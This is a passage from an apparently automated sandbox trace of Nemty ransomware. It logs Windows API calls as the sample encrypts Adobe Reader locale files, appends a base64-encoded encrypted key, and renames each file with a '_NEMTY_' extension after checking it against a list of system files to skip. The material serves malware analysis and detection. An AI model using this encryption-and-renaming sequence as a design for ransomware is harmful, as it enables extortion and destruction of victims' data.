10.0\\Reader\\Locale\\zh_TW\\BRdlang32.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\brdlang32.cht._nemty_kgobjgd_")) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.423] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.CHT", cAlternateFileName="")) returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2=".") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="..") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="...") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="windows") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="rsa") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="NTDETECT.COM") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="ntldr") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="MSDOS.SYS") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="IO.SYS") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="boot.ini") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="boot.ini") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="ntuser.dat") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="desktop.ini") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="CONFIG.SYS") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="RECYCLER") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="bootmgr") returned 1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="programdata") returned -1 [0186.423] lstrcmpiW (lpString1="Checkers.CHT", lpString2="appdata") returned 1 [0186.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.424] Sleep (dwMilliseconds=0x5) [0186.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c51550, dwHighDateTime=0x1d561e8)) [0186.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c51550, dwHighDateTime=0x1d561e8)) [0186.433] GetLastError () returned 0x0 [0186.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.433] GetLastError () returned 0x0 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.434] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.434] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.434] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.434] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="QTxuT+NylgSMhw6HZbVmXnacYTJP0nMOAaqPs6SL6miDyjQUIqGSOn1UQUTay21f\r\nYqvgI8THF6xZzTv6EQTcySFFA/TeiwzscNbZCLzErP4pfAzdocDE8wjVGHn18aa9\r\nEUQeoo+FbZOUs9ikBJeux3GPt+nn8lu5Kc0kQI7o8fSqohXr3QMooMdeiDlo6lZO\r\nhUT+wbOE8YsB3llevJQe16un3kcZ3+O1vNL/F29SOnZCO1gqBOSYv6owCb3h1RlL\r\nq9snTdccRFsWb4DzAHLi46zq1BgsDdlAXEeFrsavKeLXEhGU6Pr5MdqCvd6lea7q\r\nHsVchfUb2Z7mUqU8Iz7aoA==\r\n", pcchString=0x653e5dc) returned 1 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Checkers.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\checkers.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.434] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78336) returned 1 [0186.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13200) returned 0x6352c48 [0186.435] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.435] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13200, lpOverlapped=0x0) returned 1 [0186.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13200, lpOverlapped=0x0) returned 1 [0186.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13200 [0186.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.442] CloseHandle (hObject=0x2e8) returned 1 [0186.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.442] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Checkers.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\checkers.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Checkers.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\checkers.cht._nemty_kgobjgd_")) returned 1 [0186.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.443] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.CHT", cAlternateFileName="")) returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2=".") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="..") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="...") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="windows") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="rsa") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="NTDETECT.COM") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="ntldr") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="MSDOS.SYS") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="IO.SYS") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="boot.ini") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="boot.ini") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="ntuser.dat") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="desktop.ini") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="CONFIG.SYS") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="RECYCLER") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="bootmgr") returned 1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="programdata") returned -1 [0186.443] lstrcmpiW (lpString1="DigSig.CHT", lpString2="appdata") returned 1 [0186.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.444] Sleep (dwMilliseconds=0x5) [0186.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c776b0, dwHighDateTime=0x1d561e8)) [0186.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c776b0, dwHighDateTime=0x1d561e8)) [0186.449] GetLastError () returned 0x0 [0186.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.449] GetLastError () returned 0x0 [0186.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.449] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.449] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.450] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.450] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="hSGVx8Od9fk3bBaHkHR7GUP1O5xsGoBcDxGqlQiD6OecxsD/SWd/rlcDzI1o1meZ\r\nEU6VfwPNdvjcDdsAU+fiM4i3o/F97fKBYnhqFlp3MehNTMXJoTtYNjXart/NzVcV\r\nG96/i7pu06fKNHIzc9oN4qIlMrcWBzoMbI93TXK2Fz1m70SnITrl6DFDakD5dxDZ\r\nPB89u84Pb/6tbd60tgZ1wcL9kP9L6q+Ppx8Y900Xhl5jG8IlMvk/CvN1AqwxJm7I\r\nbkHC0NtLBiiZYQ4Pg3K47rruGUh/iSG8O8Ib3o39K7I7V7B1dCIuLrVJuJBYPoaZ\r\niYHcSw8NI4tvvx3hL5pHBA==\r\n", pcchString=0x653e5dc) returned 1 [0186.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.450] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DigSig.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\digsig.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.451] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=73216) returned 1 [0186.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e00) returned 0x6352c48 [0186.451] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.451] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11e00, lpOverlapped=0x0) returned 1 [0186.457] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.457] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11e00, lpOverlapped=0x0) returned 1 [0186.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.458] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=73216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e00 [0186.458] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.458] CloseHandle (hObject=0x2e8) returned 1 [0186.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.458] 